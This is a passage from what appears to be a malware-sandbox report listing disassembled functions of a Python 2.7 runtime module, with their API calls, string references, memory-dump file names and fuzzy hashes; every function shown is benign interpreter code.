                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FromObjectStringString_memcpy$ExceptionFormatGivenMatchesmemsetstrchr
                                                                                                                                                                    • String ID: argument for 'p' must be a string$argument for 's' must be a string$bBhHiIlLqQ$integer out of range for '%c' format code
                                                                                                                                                                    • API String ID: 2335968040-4252990379
                                                                                                                                                                    • Opcode ID: d9ceb66968fbd0a5adc8c32016c7ae818e9d2bdc4dd9728af9c1012ef8ba2579
                                                                                                                                                                    • Instruction ID: e3d0a6dc560c2ea2eda3b5b57f44263e6ca82200fe4eb771e70a9cf0ae7d180b
                                                                                                                                                                    • Opcode Fuzzy Hash: d9ceb66968fbd0a5adc8c32016c7ae818e9d2bdc4dd9728af9c1012ef8ba2579
                                                                                                                                                                    • Instruction Fuzzy Hash: C251E9B1A082014BC714CE58DC94B6B73E8EF8D324F244669ED588B781D725EC5ACBF2
                                                                                                                                                                    Function 670B57C0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 123COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(0000002C), ref: 670B57D0
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000072), ref: 670B5834
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245B38,tuple index out of range), ref: 670B5855
                                                                                                                                                                    • PyString_FromString.PYTHON27(__name__), ref: 670B588E
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?), ref: 670B58A7
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?), ref: 670B58D8
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670B58F7
                                                                                                                                                                    Strings
                                                                                                                                                                    • P&&g, xrefs: 670B590C, 670B5915, 670B591C
                                                                                                                                                                    • __name__, xrefs: 670B5889
                                                                                                                                                                    • GC object already tracked, xrefs: 670B58F2
                                                                                                                                                                    • ..\Objects\tupleobject.c, xrefs: 670B5829
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670B584A
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B582E
                                                                                                                                                                    • tuple index out of range, xrefs: 670B584F
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_StringString_$Dict_ErrorFatalFormatFromInternItemMallocObject_Place
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$GC object already tracked$P&&g$__name__$tuple index out of range
                                                                                                                                                                    • API String ID: 4258960316-2230599745
                                                                                                                                                                    • Opcode ID: e35214fe38781e37a6cee23315352ca12b7b54218d547a704bf655b71b972821
                                                                                                                                                                    • Instruction ID: 9c13f493ed7dec8bd643fd40411516e443b6567b9b16213c2515691724c0d88c
                                                                                                                                                                    • Opcode Fuzzy Hash: e35214fe38781e37a6cee23315352ca12b7b54218d547a704bf655b71b972821
                                                                                                                                                                    • Instruction Fuzzy Hash: 8D41F6B9A007009FD720DF59C885916B3F4FF4D724B108A6EEA6A97350D335E585CFA2
                                                                                                                                                                    Function 6700F590 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 109COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTuple.PYTHON27 ref: 6700F5B6
                                                                                                                                                                    • setlocale.MSVCR90 ref: 6700F5DD
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,unsupported locale setting), ref: 6700F5F5
                                                                                                                                                                    • PyString_FromString.PYTHON27(00000000), ref: 6700F606
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 6700F62A
                                                                                                                                                                    • setlocale.MSVCR90 ref: 6700F63A
                                                                                                                                                                    • PyErr_SetString.PYTHON27(00000000,locale query failed), ref: 6700F653
                                                                                                                                                                    • PyString_FromString.PYTHON27(invalid locale category), ref: 6700F67F
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(00000000,00000000,invalid locale category), ref: 6700F688
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromString_setlocale$Arg_ClearObjectParseTuple
                                                                                                                                                                    • String ID: invalid locale category$i|z:setlocale$locale query failed$unsupported locale setting
                                                                                                                                                                    • API String ID: 710232110-2409507137
                                                                                                                                                                    • Opcode ID: e5e54a448e30c13e9c7d40532f61ad35f8386f87a3ae799558c20722c23a17b0
                                                                                                                                                                    • Instruction ID: 108a639a78d10aca18bb335c10109fc36618047e5970ff5027cf0cdc8c12bdb0
                                                                                                                                                                    • Opcode Fuzzy Hash: e5e54a448e30c13e9c7d40532f61ad35f8386f87a3ae799558c20722c23a17b0
                                                                                                                                                                    • Instruction Fuzzy Hash: 4721E576A1411117E710DAA8EC4ABAB33DCCB8923DF040726EE19C7210F721E9559BF7
                                                                                                                                                                    Function 670B8C00 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 97COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: __iob_funcfprintf$ClearFreeInt_List
                                                                                                                                                                    • String ID: # <int at %p, refcnt=%ld, val=%ld>$# cleanup ints$(E'g$: %d unfreed int%s$R
                                                                                                                                                                    • API String ID: 1369846620-3426453363
                                                                                                                                                                    • Opcode ID: 68e496cb4a1153c5d0905d32ec30044b31704bb82f301421a03435403d992c4b
                                                                                                                                                                    • Instruction ID: 4838f064b0da70c8cbe0487d77408d28a9e2f4a161b949e005889c52f28137e9
                                                                                                                                                                    • Opcode Fuzzy Hash: 68e496cb4a1153c5d0905d32ec30044b31704bb82f301421a03435403d992c4b
                                                                                                                                                                    • Instruction Fuzzy Hash: 093125F1901206ABEB20AF68CC44B5A73E8EF09714F064469DC05AB390D73AEE45CBF5
                                                                                                                                                                    Function 67011F30 Relevance: 24.2, APIs: 16, Instructions: 185COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • isalnum.MSVCR90 ref: 67012025
                                                                                                                                                                    • isalnum.MSVCR90 ref: 67012043
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6701205C
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 67012066
                                                                                                                                                                    • _PyUnicodeUCS2_IsWhitespace.PYTHON27 ref: 6701208A
                                                                                                                                                                    • _PyUnicodeUCS2_IsWhitespace.PYTHON27 ref: 670120B2
                                                                                                                                                                    • _PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 670120C5
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 670120D2
                                                                                                                                                                    • _PyUnicodeUCS2_IsDigit.PYTHON27 ref: 670120E3
                                                                                                                                                                    • _PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 670120F4
                                                                                                                                                                    • _PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 670120FF
                                                                                                                                                                    • _PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 67012110
                                                                                                                                                                    • _PyUnicodeUCS2_IsDigit.PYTHON27 ref: 67012121
                                                                                                                                                                    • _PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 67012132
                                                                                                                                                                    • _PyUnicodeUCS2_IsLinebreak.PYTHON27 ref: 67012152
                                                                                                                                                                    • _PyUnicodeUCS2_IsLinebreak.PYTHON27 ref: 6701215C
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Unicode$Digit$Decimal$AlphaLinebreakNumericWhitespaceisalnum
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1297412580-0
                                                                                                                                                                    • Opcode ID: 44aeacfb0552824ea5a2fbfcc481f00e33e2aa2359ed37c9afaba64b925cda98
                                                                                                                                                                    • Instruction ID: 33dbbf1dd86ee16dc4e53015098969d65957286032c5305ac0db76d8c9fde3fd
                                                                                                                                                                    • Opcode Fuzzy Hash: 44aeacfb0552824ea5a2fbfcc481f00e33e2aa2359ed37c9afaba64b925cda98
                                                                                                                                                                    • Instruction Fuzzy Hash: 2C4147A6F0E9200EE71A92386C5139B219C2F4F349F880575E9E7C2392FB0DD656C1A7
                                                                                                                                                                    Function 6700D510 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 305COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(idx cannot be negative,?,?,?,?,?,6700C59D,FFFFFFFD,?,?,?), ref: 6700D532
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67245D10,00000000,?), ref: 6700D53E
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(67244978,00000000,?,?,?,?,?,6700C59D,FFFFFFFD,?,?,?), ref: 6700D571
                                                                                                                                                                    • PyObject_IsTrue.PYTHON27(?,?,?,?,?,?,6700C59D,FFFFFFFD,?,?,?), ref: 6700D5A8
                                                                                                                                                                    • _Py_CheckRecursiveCall.PYTHON27( while decoding a JSON object from a byte string), ref: 6700D5F5
                                                                                                                                                                      • Part of subcall function 6710E7C0: PyOS_CheckStack.PYTHON27(?,?,6708F0AA, while calling a Python object,00000001,?,?,67112AB3,00000000,?,67060E50), ref: 6710E7CA
                                                                                                                                                                      • Part of subcall function 6710E7C0: PyErr_SetString.PYTHON27(672467A8,Stack overflow,?,?,6708F0AA, while calling a Python object,00000001,?,?,67112AB3,00000000,?,67060E50), ref: 6710E7E1
                                                                                                                                                                    • _Py_CheckRecursiveCall.PYTHON27( while decoding a JSON array from a byte string), ref: 6700D64D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CheckErr_$CallObjectRecursiveString$FromObject_StackString_True
                                                                                                                                                                    • String ID: while decoding a JSON array from a byte string$ while decoding a JSON object from a byte string$-Infinity$Infinity$NaN$idx cannot be negative$c$g
                                                                                                                                                                    • API String ID: 1039784377-2474110881
                                                                                                                                                                    • Opcode ID: a6e4e6ca0e1c33aa49532168e621264d6807318fe83a5ede207f36b5ffbe6823
                                                                                                                                                                    • Instruction ID: fe0177791efd2204c8b8d3f429d3fb566da5ed0952366e742d8ba753b6f1f214
                                                                                                                                                                    • Opcode Fuzzy Hash: a6e4e6ca0e1c33aa49532168e621264d6807318fe83a5ede207f36b5ffbe6823
                                                                                                                                                                    • Instruction Fuzzy Hash: F2A16DB6A08601ABFB10CF19E444A667BF4EB4D339F14426ADD4987601D332EA59C7F2
                                                                                                                                                                    Function 67008780 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 231COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTuple.PYTHON27(?,nO:nlargest,?,?), ref: 6700879F
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(?), ref: 670087B4
                                                                                                                                                                      • Part of subcall function 6708FF00: PySequence_Check.PYTHON27(?), ref: 6708FF18
                                                                                                                                                                      • Part of subcall function 6708FF00: PySeqIter_New.PYTHON27(?), ref: 6708FF25
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 67008801
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    • PyIter_Next.PYTHON27(?), ref: 6700883D
                                                                                                                                                                    • PyList_Append.PYTHON27(00000000,00000000), ref: 67008851
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 670088F8
                                                                                                                                                                    • PyList_Sort.PYTHON27(00000000), ref: 670089AB
                                                                                                                                                                    • PyList_Reverse.PYTHON27(00000000), ref: 670089B9
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugList_OutputString$Iter_Object___iob_func$AppendArg_CheckErrorFatalIterMallocNextParseReverseSequence_SortTupleabortfflushfprintf
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$nO:nlargest
                                                                                                                                                                    • API String ID: 3411264338-3865738860
                                                                                                                                                                    • Opcode ID: f63445439ff1282a235128bd857778aee457933daccfba85740f00aa63f6be93
                                                                                                                                                                    • Instruction ID: 3ff415c0b1feee8d996f12ebc66b2258ed895cd9aef8185e644528f3d98ac49f
                                                                                                                                                                    • Opcode Fuzzy Hash: f63445439ff1282a235128bd857778aee457933daccfba85740f00aa63f6be93
                                                                                                                                                                    • Instruction Fuzzy Hash: 4181B1B1A006018FE714DF68D884A5A73E4BB4E334B144729EA79873D1D735EC56CBA2
                                                                                                                                                                    Function 67147770 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 108COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PySys_GetObject.PYTHON27(stderr,?,0000005F,?), ref: 671477C4
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?,?), ref: 671477E6
                                                                                                                                                                    • _vsnprintf.MSVCR90 ref: 67147819
                                                                                                                                                                    • PyFile_WriteString.PYTHON27(?,00000000), ref: 6714782C
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 67147838
                                                                                                                                                                    • fputs.MSVCR90 ref: 6714784B
                                                                                                                                                                    • PyFile_WriteString.PYTHON27(... truncated,00000000), ref: 67147866
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 67147872
                                                                                                                                                                    • fputs.MSVCR90 ref: 67147883
                                                                                                                                                                    • vfprintf.MSVCR90 ref: 6714789D
                                                                                                                                                                    • PyErr_Restore.PYTHON27(?,?,?), ref: 671478BB
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$ClearFile_StringWritefputs$ObjectRestoreSubtypeSys_Type__vsnprintfvfprintf
                                                                                                                                                                    • String ID: ... truncated$stderr
                                                                                                                                                                    • API String ID: 1300025650-2073631001
                                                                                                                                                                    • Opcode ID: d036f08b7bb7ade9cec771d6ea19b04c17c7fdbeb748107de4cd9460a86e3f0b
                                                                                                                                                                    • Instruction ID: c7656da574cc0ac5dd46f292f5c7a4fa102efcf692e4732dcda9174c70ee41bf
                                                                                                                                                                    • Opcode Fuzzy Hash: d036f08b7bb7ade9cec771d6ea19b04c17c7fdbeb748107de4cd9460a86e3f0b
                                                                                                                                                                    • Instruction Fuzzy Hash: 4E4160B1D4011A9FCB25DF69CD81E6AB7BCEF4D204F1141AAE61C97205D6309B84CFA5
                                                                                                                                                                    Function 670EB6F0 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 408COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyUnicodeUCS2_DecodeLatin1.PYTHON27(?,?,?,?,00000000,?,?,?,67002548,?,?,?,?), ref: 670EB719
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DecodeLatin1Unicode
                                                                                                                                                                    • String ID: character mapping must be in range(0x110000)$character mapping must return integer, None or unicode$character maps to <undefined>$charmap
                                                                                                                                                                    • API String ID: 2178874186-3975267084
                                                                                                                                                                    • Opcode ID: 2a92df0131c7120b4c13b1d5c562d58dd52c6fefdce2261e6dcb8ba495c45c9f
                                                                                                                                                                    • Instruction ID: 1abc93b645e35b836da910d8927d06ff2a3691bc18c9cb2eff75ac948a1146f0
                                                                                                                                                                    • Opcode Fuzzy Hash: 2a92df0131c7120b4c13b1d5c562d58dd52c6fefdce2261e6dcb8ba495c45c9f
                                                                                                                                                                    • Instruction Fuzzy Hash: 84E19475E0020ADFCB04CFA8D980EAEB7B9EF48314F158259D9249B350E734ED46CBA1
                                                                                                                                                                    Function 670A6460 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 238COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(00000000,?,?,?,?,?,?,670A6452,?,?,00000001), ref: 670A650F
                                                                                                                                                                    • PyObject_CallMethod.PYTHON27(?,keys,00000000,?,?,?,?,?,670A6452,?,?,00000001), ref: 670A6566
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(00000000), ref: 670A6579
                                                                                                                                                                    • PyIter_Next.PYTHON27(00000000), ref: 670A65A1
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,00000000), ref: 670A65BE
                                                                                                                                                                    • PyObject_GetItem.PYTHON27(?,00000000), ref: 670A65DF
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,00000000,00000000), ref: 670A65F3
                                                                                                                                                                    • PyIter_Next.PYTHON27(?), ref: 670A662B
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,0000066D,?,?,?,?,?,670A6452,?,?,00000001), ref: 670A66C3
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Item$Dict_Object_$Iter_Next$CallErr_FormatIterMethod
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c$keys
                                                                                                                                                                    • API String ID: 3758137212-1154662420
                                                                                                                                                                    • Opcode ID: 6ea1690c4be59184c95099f75843332421e164675e8e67873affc65572cb5f22
